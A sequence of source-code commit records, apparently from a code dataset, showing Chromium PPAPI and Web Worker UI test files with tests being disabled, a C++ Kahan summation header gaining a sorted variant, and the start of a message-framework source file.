GURL::Replacements replacements;\n replacements.SetQuery(test_case.c_str(),\n url_parse::Component(0, test_case.size()));\n GURL test_url = net::FilePathToFileURL(test_path);\n RunTestURL(test_url.ReplaceComponents(replacements));\n }\n\n void RunTestViaHTTP(const std::string& test_case) {\n net::TestServer test_server(\n net::TestServer::TYPE_HTTP,\n FilePath(FILE_PATH_LITERAL(\"third_party\/ppapi\/tests\")));\n ASSERT_TRUE(test_server.Start());\n RunTestURL(test_server.GetURL(\"files\/test_case.html?\" + test_case));\n }\n\n private:\n void RunTestURL(const GURL& test_url) {\n scoped_refptr<TabProxy> tab(GetActiveTab());\n ASSERT_TRUE(tab.get());\n ASSERT_TRUE(tab->NavigateToURL(test_url));\n std::string escaped_value =\n WaitUntilCookieNonEmpty(tab.get(), test_url,\n \"COMPLETION_COOKIE\", action_max_timeout_ms());\n EXPECT_STREQ(\"PASS\", escaped_value.c_str());\n }\n};\n\nTEST_F(PPAPITest, FAILS_Instance) {\n RunTest(\"Instance\");\n}\n\nTEST_F(PPAPITest, Graphics2D) {\n RunTest(\"Graphics2D\");\n}\n\n\/\/ TODO(brettw) bug 51344: this is flaky on bots. Seems to timeout navigating.\n\/\/ Possibly all the image allocations slow things down on a loaded bot too much.\nTEST_F(PPAPITest, FLAKY_ImageData) {\n RunTest(\"ImageData\");\n}\n\nTEST_F(PPAPITest, Buffer) {\n RunTest(\"Buffer\");\n}\n\n\/\/ http:\/\/bugs.chromium.org\/51345\nTEST_F(PPAPITest, DISABLED_URLLoader) {\n RunTestViaHTTP(\"URLLoader\");\n}\n\n\/\/ Flaky, http:\/\/crbug.com\/51012\nTEST_F(PPAPITest, FLAKY_PaintAggregator) {\n RunTestViaHTTP(\"PaintAggregator\");\n}\n\n\/\/ Flaky, http:\/\/crbug.com\/48544.\nTEST_F(PPAPITest, FLAKY_Scrollbar) {\n RunTest(\"Scrollbar\");\n}\n\nTEST_F(PPAPITest, UrlUtil) {\n RunTest(\"UrlUtil\");\n}\n\nTEST_F(PPAPITest, CharSet) {\n RunTest(\"CharSet\");\n}\n\nTEST_F(PPAPITest, Var) {\n RunTest(\"Var\");\n}\n\nTEST_F(PPAPITest, FileRef) {\n RunTestViaHTTP(\"FileRef\");\n}\n\nTEST_F(PPAPITest, FileIO) {\n RunTestViaHTTP(\"FileIO\");\n}\n\nTEST_F(PPAPITest, DirectoryReader) {\n RunTestViaHTTP(\"DirectoryReader\");\n}\n<commit_msg>Remove FileRef, FileIO and DirectoryReader PPAPI tests from ui_tests for now. It looks like run_testserver is crashing.<commit_after>\/\/ Copyright (c) 2010 The Chromium Authors. All rights reserved.\n\/\/ Use of this source code is governed by a BSD-style license that can be\n\/\/ found in the LICENSE file.\n\n#include \"base\/file_util.h\"\n#include \"base\/path_service.h\"\n#include \"build\/build_config.h\"\n#include \"chrome\/common\/chrome_switches.h\"\n#include \"chrome\/test\/automation\/tab_proxy.h\"\n#include \"chrome\/test\/ui\/ui_test.h\"\n#include \"net\/base\/net_util.h\"\n#include \"net\/test\/test_server.h\"\n#include \"webkit\/glue\/plugins\/plugin_switches.h\"\n\nnamespace {\n\n\/\/ Platform-specific filename relative to the chrome executable.\n#if defined(OS_WIN)\nconst wchar_t library_name[] = L\"ppapi_tests.dll\";\n#elif defined(OS_MACOSX)\nconst char library_name[] = \"ppapi_tests.plugin\";\n#elif defined(OS_POSIX)\nconst char library_name[] = \"libppapi_tests.so\";\n#endif\n\n} \/\/ namespace\n\nclass PPAPITest : public UITest {\n public:\n PPAPITest() {\n \/\/ Append the switch to register the pepper plugin.\n \/\/ library name = <out dir>\/<test_name>.<library_extension>\n \/\/ MIME type = application\/x-ppapi-<test_name>\n FilePath plugin_dir;\n PathService::Get(base::DIR_EXE, &plugin_dir);\n\n FilePath plugin_lib = plugin_dir.Append(library_name);\n EXPECT_TRUE(file_util::PathExists(plugin_lib));\n FilePath::StringType pepper_plugin = plugin_lib.value();\n pepper_plugin.append(FILE_PATH_LITERAL(\";application\/x-ppapi-tests\"));\n launch_arguments_.AppendSwitchNative(switches::kRegisterPepperPlugins,\n pepper_plugin);\n\n \/\/ The test sends us the result via a cookie.\n launch_arguments_.AppendSwitch(switches::kEnableFileCookies);\n\n \/\/ Some stuff is hung off of the testing interface which is not enabled\n \/\/ by default.\n launch_arguments_.AppendSwitch(switches::kEnablePepperTesting);\n\n \/\/ Give unlimited quota for files to Pepper tests.\n \/\/ TODO(dumi): remove this switch once we have a quota management\n \/\/ system in place.\n launch_arguments_.AppendSwitch(switches::kUnlimitedQuotaForFiles);\n }\n\n void RunTest(const std::string& test_case) {\n FilePath test_path;\n PathService::Get(base::DIR_SOURCE_ROOT, &test_path);\n test_path = test_path.Append(FILE_PATH_LITERAL(\"ppapi\"));\n test_path = test_path.Append(FILE_PATH_LITERAL(\"tests\"));\n test_path = test_path.Append(FILE_PATH_LITERAL(\"test_case.html\"));\n\n \/\/ Sanity check the file name.\n EXPECT_TRUE(file_util::PathExists(test_path));\n\n GURL::Replacements replacements;\n replacements.SetQuery(test_case.c_str(),\n url_parse::Component(0, test_case.size()));\n GURL test_url = net::FilePathToFileURL(test_path);\n RunTestURL(test_url.ReplaceComponents(replacements));\n }\n\n void RunTestViaHTTP(const std::string& test_case) {\n net::TestServer test_server(\n net::TestServer::TYPE_HTTP,\n FilePath(FILE_PATH_LITERAL(\"third_party\/ppapi\/tests\")));\n ASSERT_TRUE(test_server.Start());\n RunTestURL(test_server.GetURL(\"files\/test_case.html?\" + test_case));\n }\n\n private:\n void RunTestURL(const GURL& test_url) {\n scoped_refptr<TabProxy> tab(GetActiveTab());\n ASSERT_TRUE(tab.get());\n ASSERT_TRUE(tab->NavigateToURL(test_url));\n std::string escaped_value =\n WaitUntilCookieNonEmpty(tab.get(), test_url,\n \"COMPLETION_COOKIE\", action_max_timeout_ms());\n EXPECT_STREQ(\"PASS\", escaped_value.c_str());\n }\n};\n\nTEST_F(PPAPITest, FAILS_Instance) {\n RunTest(\"Instance\");\n}\n\nTEST_F(PPAPITest, Graphics2D) {\n RunTest(\"Graphics2D\");\n}\n\n\/\/ TODO(brettw) bug 51344: this is flaky on bots. Seems to timeout navigating.\n\/\/ Possibly all the image allocations slow things down on a loaded bot too much.\nTEST_F(PPAPITest, FLAKY_ImageData) {\n RunTest(\"ImageData\");\n}\n\nTEST_F(PPAPITest, Buffer) {\n RunTest(\"Buffer\");\n}\n\n\/\/ http:\/\/bugs.chromium.org\/51345\nTEST_F(PPAPITest, DISABLED_URLLoader) {\n RunTestViaHTTP(\"URLLoader\");\n}\n\n\/\/ Flaky, http:\/\/crbug.com\/51012\nTEST_F(PPAPITest, FLAKY_PaintAggregator) {\n RunTestViaHTTP(\"PaintAggregator\");\n}\n\n\/\/ Flaky, http:\/\/crbug.com\/48544.\nTEST_F(PPAPITest, FLAKY_Scrollbar) {\n RunTest(\"Scrollbar\");\n}\n\nTEST_F(PPAPITest, UrlUtil) {\n RunTest(\"UrlUtil\");\n}\n\nTEST_F(PPAPITest, CharSet) {\n RunTest(\"CharSet\");\n}\n\nTEST_F(PPAPITest, Var) {\n RunTest(\"Var\");\n}\n<|endoftext|>"} {"text":"<commit_before><commit_msg>Disable WorkerHttpLayoutTests which is flaky (both debug and release winxp).<commit_after><|endoftext|>"} {"text":"<commit_before>\/\/ Copyright (c) 2009 The Chromium Authors. All rights reserved.\n\/\/ Use of this source code is governed by a BSD-style license that can be\n\/\/ found in the LICENSE file.\n\n#include \"chrome\/browser\/worker_host\/worker_service.h\"\n#include \"chrome\/test\/automation\/browser_proxy.h\"\n#include \"chrome\/test\/automation\/tab_proxy.h\"\n#include \"chrome\/test\/ui\/ui_layout_test.h\"\n\nstatic const char kTestCompleteCookie[] = \"status\";\nstatic const char kTestCompleteSuccess[] = \"OK\";\n\nclass WorkerTest : public UILayoutTest {\n protected:\n virtual ~WorkerTest() { }\n\n void RunTest(const std::wstring& test_case) {\n scoped_refptr<TabProxy> tab(GetActiveTab());\n ASSERT_TRUE(tab.get());\n\n GURL url = GetTestUrl(L\"workers\", test_case);\n ASSERT_TRUE(tab->NavigateToURL(url));\n\n std::string value = WaitUntilCookieNonEmpty(tab.get(), url,\n kTestCompleteCookie, kTestIntervalMs, kTestWaitTimeoutMs);\n ASSERT_STREQ(kTestCompleteSuccess, value.c_str());\n }\n};\n\nTEST_F(WorkerTest, SingleWorker) {\n RunTest(L\"single_worker.html\");\n}\n\nTEST_F(WorkerTest, MultipleWorkers) {\n RunTest(L\"multi_worker.html\");\n}\n\n\/\/ WorkerFastLayoutTests works on the linux try servers, but fails on the\n\/\/ build bots and fails on mac valgrind.\n#if !defined(OS_WIN)\n#define WorkerFastLayoutTests DISABLED_WorkerFastLayoutTests\n#endif\n\nTEST_F(WorkerTest, WorkerFastLayoutTests) {\n static const char* kLayoutTestFiles[] = {\n \"stress-js-execution.html\",\n#if defined(OS_WIN)\n \/\/ Workers don't properly initialize the V8 stack guard.\n \/\/ (http:\/\/code.google.com\/p\/chromium\/issues\/detail?id=21653).\n \"use-machine-stack.html\",\n#endif\n \"worker-call.html\",\n \/\/ Disabled because cloning ports are too slow in Chromium to meet the\n \/\/ thresholds in this test.\n \/\/ http:\/\/code.google.com\/p\/chromium\/issues\/detail?id=22780\n \/\/ \"worker-cloneport.html\",\n\n \"worker-close.html\",\n \"worker-constructor.html\",\n \"worker-context-gc.html\",\n \"worker-context-multi-port.html\",\n \"worker-event-listener.html\",\n \"worker-gc.html\",\n \/\/ worker-lifecycle.html relies on layoutTestController.workerThreadCount\n \/\/ which is not currently implemented.\n \/\/ \"worker-lifecycle.html\",\n \"worker-location.html\",\n \"worker-messageport.html\",\n \/\/ Disabled after r27089 (WebKit merge), http:\/\/crbug.com\/22947\n \/\/ \"worker-messageport-gc.html\",\n \"worker-multi-port.html\",\n \"worker-navigator.html\",\n \"worker-replace-global-constructor.html\",\n \"worker-replace-self.html\",\n \"worker-script-error.html\",\n \"worker-terminate.html\",\n \"worker-timeout.html\"\n };\n\n FilePath fast_test_dir;\n fast_test_dir = fast_test_dir.AppendASCII(\"LayoutTests\");\n fast_test_dir = fast_test_dir.AppendASCII(\"fast\");\n\n FilePath worker_test_dir;\n worker_test_dir = worker_test_dir.AppendASCII(\"workers\");\n InitializeForLayoutTest(fast_test_dir, worker_test_dir, false);\n\n \/\/ Worker tests also rely on common files in js\/resources.\n FilePath js_dir = fast_test_dir.AppendASCII(\"js\");\n FilePath resource_dir;\n resource_dir = resource_dir.AppendASCII(\"resources\");\n AddResourceForLayoutTest(js_dir, resource_dir);\n\n for (size_t i = 0; i < arraysize(kLayoutTestFiles); ++i)\n RunLayoutTest(kLayoutTestFiles[i], false);\n}\n\nTEST_F(WorkerTest, WorkerHttpLayoutTests) {\n static const char* kLayoutTestFiles[] = {\n \/\/ flakey? BUG 16934 \"text-encoding.html\",\n#if defined(OS_WIN)\n \/\/ Fails on the mac (and linux?):\n \/\/ http:\/\/code.google.com\/p\/chromium\/issues\/detail?id=22599\n \"worker-importScripts.html\",\n#endif\n \"worker-redirect.html\",\n };\n\n FilePath http_test_dir;\n http_test_dir = http_test_dir.AppendASCII(\"LayoutTests\");\n http_test_dir = http_test_dir.AppendASCII(\"http\");\n http_test_dir = http_test_dir.AppendASCII(\"tests\");\n\n FilePath worker_test_dir;\n worker_test_dir = worker_test_dir.AppendASCII(\"workers\");\n InitializeForLayoutTest(http_test_dir, worker_test_dir, true);\n\n StartHttpServer(new_http_root_dir_);\n for (size_t i = 0; i < arraysize(kLayoutTestFiles); ++i)\n RunLayoutTest(kLayoutTestFiles[i], true);\n StopHttpServer();\n}\n\nTEST_F(WorkerTest, WorkerXhrHttpLayoutTests) {\n static const char* kLayoutTestFiles[] = {\n \"abort-exception-assert.html\",\n#if defined(OS_WIN)\n \/\/ Fails on the mac (and linux?):\n \/\/ http:\/\/code.google.com\/p\/chromium\/issues\/detail?id=22599\n \"close.html\",\n#endif\n \/\/\"methods-async.html\",\n \/\/\"methods.html\",\n \"xmlhttprequest-file-not-found.html\"\n };\n\n FilePath http_test_dir;\n http_test_dir = http_test_dir.AppendASCII(\"LayoutTests\");\n http_test_dir = http_test_dir.AppendASCII(\"http\");\n http_test_dir = http_test_dir.AppendASCII(\"tests\");\n\n FilePath worker_test_dir;\n worker_test_dir = worker_test_dir.AppendASCII(\"xmlhttprequest\");\n worker_test_dir = worker_test_dir.AppendASCII(\"workers\");\n InitializeForLayoutTest(http_test_dir, worker_test_dir, true);\n\n StartHttpServer(new_http_root_dir_);\n for (size_t i = 0; i < arraysize(kLayoutTestFiles); ++i)\n RunLayoutTest(kLayoutTestFiles[i], true);\n StopHttpServer();\n}\n\nTEST_F(WorkerTest, DISABLED_MessagePorts) {\n static const char* kLayoutTestFiles[] = {\n \"message-channel-gc.html\",\n \"message-channel-gc-2.html\",\n \"message-channel-gc-3.html\",\n \"message-channel-gc-4.html\",\n \"message-port.html\",\n \"message-port-clone.html\",\n \"message-port-constructor-for-deleted-document.html\",\n \"message-port-deleted-document.html\",\n \"message-port-deleted-frame.html\",\n \"message-port-inactive-document.html\",\n \"message-port-multi.html\",\n \"message-port-no-wrapper.html\",\n \/\/ Only works with run-webkit-tests --leaks.\n \/\/\"message-channel-listener-circular-ownership.html\",\n };\n\n FilePath fast_test_dir;\n fast_test_dir = fast_test_dir.AppendASCII(\"LayoutTests\");\n fast_test_dir = fast_test_dir.AppendASCII(\"fast\");\n\n FilePath worker_test_dir;\n worker_test_dir = worker_test_dir.AppendASCII(\"events\");\n InitializeForLayoutTest(fast_test_dir, worker_test_dir, false);\n\n \/\/ MessagePort tests also rely on common files in js\/resources.\n FilePath js_dir = fast_test_dir.AppendASCII(\"js\");\n FilePath resource_dir;\n resource_dir = resource_dir.AppendASCII(\"resources\");\n AddResourceForLayoutTest(js_dir, resource_dir);\n\n for (size_t i = 0; i < arraysize(kLayoutTestFiles); ++i)\n RunLayoutTest(kLayoutTestFiles[i], false);\n}\n\n\/\/ Disable LimitPerPage on Linux. Seems to work on Mac though:\n\/\/ http:\/\/code.google.com\/p\/chromium\/issues\/detail?id=22608\n#if !defined(OS_LINUX)\nTEST_F(WorkerTest, LimitPerPage) {\n int max_workers_per_tab = WorkerService::kMaxWorkersPerTabWhenSeparate;\n GURL url = GetTestUrl(L\"workers\", L\"many_workers.html\");\n url = GURL(url.spec() + StringPrintf(\"?count=%d\", max_workers_per_tab + 1));\n\n scoped_refptr<TabProxy> tab(GetActiveTab());\n ASSERT_TRUE(tab.get());\n ASSERT_TRUE(tab->NavigateToURL(url));\n\n EXPECT_EQ(max_workers_per_tab + 1 + (UITest::in_process_renderer() ? 0 : 1),\n UITest::GetBrowserProcessCount());\n}\n#endif\n\n\/\/ Disable LimitTotal on Linux and Mac.\n\/\/ http:\/\/code.google.com\/p\/chromium\/issues\/detail?id=22608\n#if defined(OS_WIN)\nTEST_F(WorkerTest, LimitTotal) {\n int max_workers_per_tab = WorkerService::kMaxWorkersPerTabWhenSeparate;\n int total_workers = WorkerService::kMaxWorkersWhenSeparate;\n\n int tab_count = (total_workers \/ max_workers_per_tab) + 1;\n GURL url = GetTestUrl(L\"workers\", L\"many_workers.html\");\n url = GURL(url.spec() + StringPrintf(\"?count=%d\", max_workers_per_tab));\n\n scoped_refptr<TabProxy> tab(GetActiveTab());\n ASSERT_TRUE(tab.get());\n ASSERT_TRUE(tab->NavigateToURL(url));\n scoped_refptr<BrowserProxy> window(automation()->GetBrowserWindow(0));\n for (int i = 1; i < tab_count; ++i)\n window->AppendTab(url);\n\n \/\/ Check that we didn't create more than the max number of workers.\n EXPECT_EQ(total_workers + 1 + (UITest::in_process_renderer() ? 0 : tab_count),\n UITest::GetBrowserProcessCount());\n\n \/\/ Now close the first tab and check that the queued workers were started.\n tab->Close(true);\n tab->NavigateToURL(GetTestUrl(L\"google\", L\"google.html\"));\n\n EXPECT_EQ(total_workers + 1 + (UITest::in_process_renderer() ? 0 : tab_count),\n UITest::GetBrowserProcessCount());\n}\n#endif\n<commit_msg>Disable WorkerTest.WorkerFastLayoutTests.<commit_after>\/\/ Copyright (c) 2009 The Chromium Authors. All rights reserved.\n\/\/ Use of this source code is governed by a BSD-style license that can be\n\/\/ found in the LICENSE file.\n\n#include \"chrome\/browser\/worker_host\/worker_service.h\"\n#include \"chrome\/test\/automation\/browser_proxy.h\"\n#include \"chrome\/test\/automation\/tab_proxy.h\"\n#include \"chrome\/test\/ui\/ui_layout_test.h\"\n\nstatic const char kTestCompleteCookie[] = \"status\";\nstatic const char kTestCompleteSuccess[] = \"OK\";\n\nclass WorkerTest : public UILayoutTest {\n protected:\n virtual ~WorkerTest() { }\n\n void RunTest(const std::wstring& test_case) {\n scoped_refptr<TabProxy> tab(GetActiveTab());\n ASSERT_TRUE(tab.get());\n\n GURL url = GetTestUrl(L\"workers\", test_case);\n ASSERT_TRUE(tab->NavigateToURL(url));\n\n std::string value = WaitUntilCookieNonEmpty(tab.get(), url,\n kTestCompleteCookie, kTestIntervalMs, kTestWaitTimeoutMs);\n ASSERT_STREQ(kTestCompleteSuccess, value.c_str());\n }\n};\n\nTEST_F(WorkerTest, SingleWorker) {\n RunTest(L\"single_worker.html\");\n}\n\nTEST_F(WorkerTest, MultipleWorkers) {\n RunTest(L\"multi_worker.html\");\n}\n\n\/\/ WorkerFastLayoutTests works on the linux try servers, but fails on the\n\/\/ build bots and fails on mac valgrind.\n#if !defined(OS_WIN)\n#define WorkerFastLayoutTests DISABLED_WorkerFastLayoutTests\n#endif\n\n\/\/ WorkerFastLayoutTests failed on all platforms since r27553.\n\/\/ http:\/\/crbug.com\/23391\nTEST_F(WorkerTest, DISABLED_WorkerFastLayoutTests) {\n static const char* kLayoutTestFiles[] = {\n \"stress-js-execution.html\",\n#if defined(OS_WIN)\n \/\/ Workers don't properly initialize the V8 stack guard.\n \/\/ (http:\/\/code.google.com\/p\/chromium\/issues\/detail?id=21653).\n \"use-machine-stack.html\",\n#endif\n \"worker-call.html\",\n \/\/ Disabled because cloning ports are too slow in Chromium to meet the\n \/\/ thresholds in this test.\n \/\/ http:\/\/code.google.com\/p\/chromium\/issues\/detail?id=22780\n \/\/ \"worker-cloneport.html\",\n\n \"worker-close.html\",\n \"worker-constructor.html\",\n \"worker-context-gc.html\",\n \"worker-context-multi-port.html\",\n \"worker-event-listener.html\",\n \"worker-gc.html\",\n \/\/ worker-lifecycle.html relies on layoutTestController.workerThreadCount\n \/\/ which is not currently implemented.\n \/\/ \"worker-lifecycle.html\",\n \"worker-location.html\",\n \"worker-messageport.html\",\n \/\/ Disabled after r27089 (WebKit merge), http:\/\/crbug.com\/22947\n \/\/ \"worker-messageport-gc.html\",\n \"worker-multi-port.html\",\n \"worker-navigator.html\",\n \"worker-replace-global-constructor.html\",\n \"worker-replace-self.html\",\n \"worker-script-error.html\",\n \"worker-terminate.html\",\n \"worker-timeout.html\"\n };\n\n FilePath fast_test_dir;\n fast_test_dir = fast_test_dir.AppendASCII(\"LayoutTests\");\n fast_test_dir = fast_test_dir.AppendASCII(\"fast\");\n\n FilePath worker_test_dir;\n worker_test_dir = worker_test_dir.AppendASCII(\"workers\");\n InitializeForLayoutTest(fast_test_dir, worker_test_dir, false);\n\n \/\/ Worker tests also rely on common files in js\/resources.\n FilePath js_dir = fast_test_dir.AppendASCII(\"js\");\n FilePath resource_dir;\n resource_dir = resource_dir.AppendASCII(\"resources\");\n AddResourceForLayoutTest(js_dir, resource_dir);\n\n for (size_t i = 0; i < arraysize(kLayoutTestFiles); ++i)\n RunLayoutTest(kLayoutTestFiles[i], false);\n}\n\nTEST_F(WorkerTest, WorkerHttpLayoutTests) {\n static const char* kLayoutTestFiles[] = {\n \/\/ flakey? BUG 16934 \"text-encoding.html\",\n#if defined(OS_WIN)\n \/\/ Fails on the mac (and linux?):\n \/\/ http:\/\/code.google.com\/p\/chromium\/issues\/detail?id=22599\n \"worker-importScripts.html\",\n#endif\n \"worker-redirect.html\",\n };\n\n FilePath http_test_dir;\n http_test_dir = http_test_dir.AppendASCII(\"LayoutTests\");\n http_test_dir = http_test_dir.AppendASCII(\"http\");\n http_test_dir = http_test_dir.AppendASCII(\"tests\");\n\n FilePath worker_test_dir;\n worker_test_dir = worker_test_dir.AppendASCII(\"workers\");\n InitializeForLayoutTest(http_test_dir, worker_test_dir, true);\n\n StartHttpServer(new_http_root_dir_);\n for (size_t i = 0; i < arraysize(kLayoutTestFiles); ++i)\n RunLayoutTest(kLayoutTestFiles[i], true);\n StopHttpServer();\n}\n\nTEST_F(WorkerTest, WorkerXhrHttpLayoutTests) {\n static const char* kLayoutTestFiles[] = {\n \"abort-exception-assert.html\",\n#if defined(OS_WIN)\n \/\/ Fails on the mac (and linux?):\n \/\/ http:\/\/code.google.com\/p\/chromium\/issues\/detail?id=22599\n \"close.html\",\n#endif\n \/\/\"methods-async.html\",\n \/\/\"methods.html\",\n \"xmlhttprequest-file-not-found.html\"\n };\n\n FilePath http_test_dir;\n http_test_dir = http_test_dir.AppendASCII(\"LayoutTests\");\n http_test_dir = http_test_dir.AppendASCII(\"http\");\n http_test_dir = http_test_dir.AppendASCII(\"tests\");\n\n FilePath worker_test_dir;\n worker_test_dir = worker_test_dir.AppendASCII(\"xmlhttprequest\");\n worker_test_dir = worker_test_dir.AppendASCII(\"workers\");\n InitializeForLayoutTest(http_test_dir, worker_test_dir, true);\n\n StartHttpServer(new_http_root_dir_);\n for (size_t i = 0; i < arraysize(kLayoutTestFiles); ++i)\n RunLayoutTest(kLayoutTestFiles[i], true);\n StopHttpServer();\n}\n\nTEST_F(WorkerTest, DISABLED_MessagePorts) {\n static const char* kLayoutTestFiles[] = {\n \"message-channel-gc.html\",\n \"message-channel-gc-2.html\",\n \"message-channel-gc-3.html\",\n \"message-channel-gc-4.html\",\n \"message-port.html\",\n \"message-port-clone.html\",\n \"message-port-constructor-for-deleted-document.html\",\n \"message-port-deleted-document.html\",\n \"message-port-deleted-frame.html\",\n \"message-port-inactive-document.html\",\n \"message-port-multi.html\",\n \"message-port-no-wrapper.html\",\n \/\/ Only works with run-webkit-tests --leaks.\n \/\/\"message-channel-listener-circular-ownership.html\",\n };\n\n FilePath fast_test_dir;\n fast_test_dir = fast_test_dir.AppendASCII(\"LayoutTests\");\n fast_test_dir = fast_test_dir.AppendASCII(\"fast\");\n\n FilePath worker_test_dir;\n worker_test_dir = worker_test_dir.AppendASCII(\"events\");\n InitializeForLayoutTest(fast_test_dir, worker_test_dir, false);\n\n \/\/ MessagePort tests also rely on common files in js\/resources.\n FilePath js_dir = fast_test_dir.AppendASCII(\"js\");\n FilePath resource_dir;\n resource_dir = resource_dir.AppendASCII(\"resources\");\n AddResourceForLayoutTest(js_dir, resource_dir);\n\n for (size_t i = 0; i < arraysize(kLayoutTestFiles); ++i)\n RunLayoutTest(kLayoutTestFiles[i], false);\n}\n\n\/\/ Disable LimitPerPage on Linux. Seems to work on Mac though:\n\/\/ http:\/\/code.google.com\/p\/chromium\/issues\/detail?id=22608\n#if !defined(OS_LINUX)\nTEST_F(WorkerTest, LimitPerPage) {\n int max_workers_per_tab = WorkerService::kMaxWorkersPerTabWhenSeparate;\n GURL url = GetTestUrl(L\"workers\", L\"many_workers.html\");\n url = GURL(url.spec() + StringPrintf(\"?count=%d\", max_workers_per_tab + 1));\n\n scoped_refptr<TabProxy> tab(GetActiveTab());\n ASSERT_TRUE(tab.get());\n ASSERT_TRUE(tab->NavigateToURL(url));\n\n EXPECT_EQ(max_workers_per_tab + 1 + (UITest::in_process_renderer() ? 0 : 1),\n UITest::GetBrowserProcessCount());\n}\n#endif\n\n\/\/ Disable LimitTotal on Linux and Mac.\n\/\/ http:\/\/code.google.com\/p\/chromium\/issues\/detail?id=22608\n#if defined(OS_WIN)\nTEST_F(WorkerTest, LimitTotal) {\n int max_workers_per_tab = WorkerService::kMaxWorkersPerTabWhenSeparate;\n int total_workers = WorkerService::kMaxWorkersWhenSeparate;\n\n int tab_count = (total_workers \/ max_workers_per_tab) + 1;\n GURL url = GetTestUrl(L\"workers\", L\"many_workers.html\");\n url = GURL(url.spec() + StringPrintf(\"?count=%d\", max_workers_per_tab));\n\n scoped_refptr<TabProxy> tab(GetActiveTab());\n ASSERT_TRUE(tab.get());\n ASSERT_TRUE(tab->NavigateToURL(url));\n scoped_refptr<BrowserProxy> window(automation()->GetBrowserWindow(0));\n for (int i = 1; i < tab_count; ++i)\n window->AppendTab(url);\n\n \/\/ Check that we didn't create more than the max number of workers.\n EXPECT_EQ(total_workers + 1 + (UITest::in_process_renderer() ? 0 : tab_count),\n UITest::GetBrowserProcessCount());\n\n \/\/ Now close the first tab and check that the queued workers were started.\n tab->Close(true);\n tab->NavigateToURL(GetTestUrl(L\"google\", L\"google.html\"));\n\n EXPECT_EQ(total_workers + 1 + (UITest::in_process_renderer() ? 0 : tab_count),\n UITest::GetBrowserProcessCount());\n}\n#endif\n<|endoftext|>"} {"text":"<commit_before><commit_msg>Disable Worker*.WorkerFastLayoutTests for now.<commit_after><|endoftext|>"} {"text":"<commit_before>#ifndef ALEPH_MATH_KAHAN_SUMMATION_HH__\n#define ALEPH_MATH_KAHAN_SUMMATION_HH__\n\n#include <algorithm>\n#include <vector>\n\nnamespace aleph\n{\n\nnamespace math\n{\n\ntemplate <class T> class KahanSummation\n{\npublic:\n KahanSummation( T initial = T() )\n : _sum( initial )\n , _c( T() )\n {\n }\n\n KahanSummation& operator+= ( T v )\n {\n T y = v - _c;\n T t = _sum + y;\n _c = ( t - _sum ) - y;\n _sum = t;\n\n return *this;\n }\n\n KahanSummation& operator-= ( T v )\n {\n return this->operator+=( -v );\n }\n\n KahanSummation& operator*= ( T v )\n {\n _sum *= v;\n return *this;\n }\n\n KahanSummation& operator\/= ( T v )\n {\n _sum \/= v;\n return *this;\n }\n\n operator const T () const\n {\n return _sum;\n }\n\nprivate:\n T _sum;\n T _c;\n};\n\n\/\/ ---------------------------------------------------------------------\n\n\/**\n Accumulation function modelled after \\c std::accumulate. Instead of summing\n up the values without regards to floating point cancellation, this function\n uses the Kahan summation algorithm on a sorted range of numbers. This gives\n better stability guarantees for the sum.\n*\/\n\ntemplate <class InputIterator, class T> T accumulate_kahan( InputIterator first, InputIterator last, T init )\n{\n KahanSummation<T> sum = init;\n\n std::vector<T> values( first, last );\n std::sort( values.begin(), values.end() );\n\n for( auto&& value : values )\n sum += value;\n\n return sum;\n}\n\n} \/\/ namespace math\n\n} \/\/ namespace aleph\n\n#endif\n<commit_msg>Extended Kahan summation for sorted ranges<commit_after>#ifndef ALEPH_MATH_KAHAN_SUMMATION_HH__\n#define ALEPH_MATH_KAHAN_SUMMATION_HH__\n\n#include <algorithm>\n#include <vector>\n\nnamespace aleph\n{\n\nnamespace math\n{\n\ntemplate <class T> class KahanSummation\n{\npublic:\n KahanSummation( T initial = T() )\n : _sum( initial )\n , _c( T() )\n {\n }\n\n KahanSummation& operator+= ( T v )\n {\n T y = v - _c;\n T t = _sum + y;\n _c = ( t - _sum ) - y;\n _sum = t;\n\n return *this;\n }\n\n KahanSummation& operator-= ( T v )\n {\n return this->operator+=( -v );\n }\n\n KahanSummation& operator*= ( T v )\n {\n _sum *= v;\n return *this;\n }\n\n KahanSummation& operator\/= ( T v )\n {\n _sum \/= v;\n return *this;\n }\n\n operator const T () const\n {\n return _sum;\n }\n\nprivate:\n T _sum;\n T _c;\n};\n\n\/\/ ---------------------------------------------------------------------\n\n\/**\n Accumulation function modelled after \\c std::accumulate. Instead of summing\n up the values without regards to floating point cancellation, this function\n uses the Kahan summation algorithm on a sorted range of numbers. This gives\n better stability guarantees for the sum.\n*\/\n\ntemplate <class InputIterator, class T> T accumulate_kahan( InputIterator first, InputIterator last, T init )\n{\n KahanSummation<T> sum = init;\n\n for( auto it = first; it != last; ++it )\n sum += *it;\n\n return sum;\n}\n\n\/**\n Kahan summation with sorted values. This further increases the precision\n of the summation algorithm but incurs a higher run-time complexity.\n*\/\n\ntemplate <class InputIterator, class T> T accumulate_kahan_sorted( InputIterator first, InputIterator last, T init )\n{\n KahanSummation<T> sum = init;\n\n std::vector<T> values( first, last );\n std::sort( values.begin(), values.end() );\n\n for( auto&& value : values )\n sum += value;\n\n return sum;\n}\n\n} \/\/ namespace math\n\n} \/\/ namespace aleph\n\n#endif\n<|endoftext|>"} {"text":"<commit_before>\/\/\/\n\/\/\/ @file MessageControllerFull.cpp\n\/\/\/ @date 8\/5\/2008\n\/\/\/ @author TuanQuang Nguyen\n\/\/\/ \n\/\/\/\n\n\/**************** Include module header files *******************\/\n\/\/ #include <BasicMessage.h>\n#include <net\/message-framework\/MessageControllerFull.h>\n#include <net\/message-framework\/MessageFrameworkConfiguration.h>\n#include <net\/message-framework\/ServiceMessage.h>\n#include <net\/message-framework\/MessageType.h>\n#include <net\/message-framework\/ServiceRegistrationMessage.h>\n#include <net\/message-framework\/ServiceRegistrationReplyMessage.h>\n#include <net\/message-framework\/ClientIdReplyMessage.h>\n#include <net\/message-framework\/ServicePermissionInfo.h>\n#include <boost\/filesystem.hpp>\n\n\n\/**************** Include boost header files *******************\/\n#include <boost\/bind.hpp>\n#include <boost\/shared_ptr.hpp>\n#include <boost\/thread.hpp>\n\n\/**************** Include std header files *******************\/\n#include <iostream>\n\n\/**************** Include sf1lib header files *******************\/\n\nconst static string AvailServiceFileName = \"_ctr_services.dat\";\n\nnamespace messageframework {\n\/\/static member variables\nstd::string MessageControllerFullSingleton::controllerName_(\"\");\nunsigned int MessageControllerFullSingleton::controllerPort_ = 0;\nboost::scoped_ptr<MessageControllerFull>\n\t\tMessageControllerFullSingleton::messageController_(0);\nboost::once_flag MessageControllerFullSingleton::flag= 